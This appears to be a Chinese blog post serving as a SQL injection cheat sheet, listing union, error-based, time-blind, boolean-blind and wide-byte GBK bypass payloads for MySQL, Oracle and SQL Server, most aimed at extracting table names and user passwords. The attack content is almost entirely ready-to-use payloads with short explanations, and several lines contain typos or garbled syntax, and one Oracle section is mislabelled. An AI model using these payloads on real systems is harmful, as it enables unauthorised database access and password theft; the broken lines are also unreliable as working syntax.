一、MySQL的联合注入
?id=1' order by 4--+?id=0' union select 1,2,3,database() -- qwer ?id=0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwer ?id=0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" -- qwer
#group_concat(column_name) 可替换为 unhex(Hex(cast(column_name+as+char)))column_name ?id=0' union select 1,2,3,group_concat(password) from users -- qer #group_concat 可替换为 concat_ws(',',id,users,password ) ?id=0' union select 1,2,3,password from users limit 0,1 -- qwer
二、MYSQL报错注入
1.floor() select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a); 2.extractvalue() select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); 3.updatexml() select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1)); 4.geometrycollection() select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b)); 5.multipoint() select * from test where id=1 and multipoint((select * from(select * from(select user())a)b)); 6.polygon() select * from test where id=1 and polygon((select * from(select * from(select user())a)b)); 7.multipolygon() select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b)); 8.linestring() select * from test where id=1 and linestring((select * from(select * from(select user())a)b)); 9.multilinestring() select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b)); 10.exp() select * from test where id=1 and exp(~(select * from(select user())a));
每个一个报错语句都有它的原理:
exp() 报错的原理:exp 是一个数学函数,取e的x次方,当我们输入的值大于709就会报错,然后 ~ 取反它的值总会大于709,所以报错。
updatexml() 报错的原理:由于 updatexml 的第二个参数需要 Xpath 格式的字符串,以 ~ 开头的内容不是 xml 格式的语法,concat() 函数为字符串连接函数显然不符合规则,但是会将括号内的执行结果以错误的形式报出,这样就可以实现报错注入了。
爆库:?id=1' and updatexml(1,(select concat(0x7e,(schema_name),0x7e) from information_schema.schemata limit 2,1),1) -- qwer 爆表:?id=1' and updatexml(1,(select concat(0x7e,(table_name),0x7e) from information_schema.tables where table_schema='security' limit 3,1),1) -- qewr 爆字段:?id=1' and updatexml(1,(select concat(0x7e,(column_name),0x7e) from information_schema.columns where table_name=0x7573657273 limit 2,1),1) -- qewr 爆数据:?id=1' and updatexml(1,(select concat(0x7e,password,0x7e) from users limit 1,1),1) -- qewr #concat 也可以放在外面 updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) -- qwer
这里需要注意的是它加了连接字符,导致数据中的 md5 只能爆出 31 位,这里可以用分割函数分割出来:
substr(string string,num start,num length);
#string为字符串,start为起始位置,length为长度
?id=1' and updatexml(1,concat(0x7e, substr((select password from users limit 1,1),1,16),0x7e),1) -- qewr
三、时间盲注
时间盲注也叫延时注入 一般用到函数 sleep() BENCHMARK() 还可以使用笛卡尔积(尽量不要使用,内容太多会很慢很慢)
一般时间盲注我们还需要使用条件判断函数
#if(expre1,expre2,expre3) 当 expre1 为 true 时,返回 expre2,false 时,返回 expre3 #盲注的同时也配合着 mysql 提供的分割函 substr、substring、left
一般喜欢把分割的函数编码一下,当然不编码也行,编码的好处就是可以不用引号,常用到的就有 ascii() hex() 等等
?id=1' and if(ascii(substr(database(),1,1))>115,1,sleep(5)) -- qwer ?id=1' and if((substr((select user()),1,1)='r'),sleep(5),1) -- qwer
四、布尔盲注
?id=1' and substr((select user()),1,1)='r' -- qwer ?id=1' and IFNULL((substr((select user()),1,1)='r'),0) -- qwer #如果 IFNULL 第一个参数的表达式为 NULL,则返回第二个参数的备用值,不为 Null 则输出值 ?id=1' and strcmp((substr((select user()),1,1)='r'),1) -- qewr #若所有的字符串均相同,STRCMP() 返回 0,若根据当前分类次序,第一个参数小于第二个,则返回 -1 ,其它情况返回 1
insert,delete,update
insert,delete,update 主要是用到盲注和报错注入,此类注入点不建议使用 sqlmap 等工具,会造成大量垃圾数据,一般这种注入会出现在 注册、ip头、留言板等等需要写入数据的地方,同时这种注入不报错一般较难发现,我们可以尝试性插入、引号、双引号、转义符 \ 让语句不能正常执行,然后如果插入失败,更新失败,然后深入测试确定是否存在注入
五、宽字节注入
宽字节SQL注入主要是源于程序员设置数据库编码为非英文编码那么就有可能产生宽字节注入
例如说MySql的编码设置为了SET NAMES ‘gbk’或是 SET character_set_client =gbk,这样配置会引发编码转换从而导致的注入漏洞。
宽字节SQL注入就是PHP发送请求到MySql时使用了语句
SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入。
宽字节注入就是PHP发送请求到MySql时使用了语句
SET NAMES ‘gbk’ 或是SET character_set_client =gbk 进行了一次编码,但是又由于一些不经意的字符集转换导致了宽字节注入
magic_quotes_gpc的作用:当PHP的传参中有特殊字符就会在前面加转义字符’\’,来做一定的过滤
我们发现\的编码是%5c,然后我们会想到传参一个字符想办法凑成一个gbk字符,例如:‘運’字是%df%5c
SELECT * FROM users WHERE id=’1\’’ LIMIT 0,1
这条语句因为\使我们无法去注入,那么我们是不是可以用%df吃到%5c,因为如果用GBK编码的话这个就是運,然后成功的让!。
SELECT * FROM users WHERE id=’1�\’#’ LIMIT 0,1
�\ 实际上就是那个運字
针对目标做了一定的防护,单引号转变为 \' , mysql 会将 \ 编码为 %5c ,宽字节中两个字节代表一个汉字,所以把 %df 加上 %5c 就变成了一个汉字“運”,使用这种方法成功绕过转义,就是所谓的宽字节注入
运行 ?id=1’ and 1=1 —%20qwe ,无果
运行 ?id=1%df’ and 1=1 —%20qwe ,运行正常
六、Oracle的联合注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual))-- qwer
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%))-- qwer
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3))-- qer
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3))-- qwer
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1))-- qwer
六、Oracle的报错注入
?id=1' and 1=ctxsys.drithsx.sn(1,(select user from dual)) -- qwer
?id=1' and 1=ctxsys.drithsx.sn(1,(select banner from v$version where banner like 'Oracle%)) -- qwer
?id=1' and 1=ctxsys.drithsx.sn(1,(select table_name from (select rownum as limit,table_name from user_tables) where limit= 3)) -- qwer
?id=1' and 1=ctxsys.drithsx.sn(1,(select column_name from (select rownum as limit,column_name from user_tab_columns where table_name ='USERS') where limit=3)) -- qwer
?id=1' and 1=ctxsys.drithsx.sn(1,(select passwd from (select passwd,rownum as limit from users) where limit=1)) --qwer
七、时间盲注
?id=1' and 1=(case when ascii(substr(user,1,1))> 128 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end) -- qwer
?id=1' and 1=(case when ascii(substr(user,1,1))> 64 then DBMS_PIPE.RECEIVE_MESSAGE('a',5) else 1 end) -- qewr
八、SQL server 联合注入
?id=-1' union select null,null -- qwer
?id=-1' union select @@servername, @@version -- qwer
?id=-1' union select db_name(),suser_sname() -- qwer
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 6 name from sys.databases)),null -- qwer
?id=-1' union select (select top 1 name from sys.databases where name not in (select top 7 name from sys.databasesl),null --qwer
?id--1' union select (select top 1 table_ name from information_schema.tables where table_name not in (select top 0 table_name from information_schema.tables)),null -- qwer
?id=-1' union select (select top 1 column name from information_schema.columns where table_name='users' and column_name not in (select top 1 column_name from information_schema.columns where table_name = 'users')),null -- qwer
?id=-1' union select (select top 1 username from users where username not in (select top 3 username from users)),null -- qwer
九、SQL server 报错注入
?id=1' and 1=(select 1/@@servername) -- qwer
?id=1' and 1=(select 1/(select top 1 name from sys.databases where name not in (select top 1 name from sys.databases)) -- qwer
十、SQL server 盲注
布尔盲注
?id=1' and ascii(substring((select db_ name(1)),1,1))> 64 -- qwer
时间盲注
?id= 1';if(2>1) waitfor delay '0:0:5' -- qwer
?id= 1';if(ASCII(SUBSTRING((select db_name(1)),1,1))> 64) -- qwer
浙公网安备 33010602011771号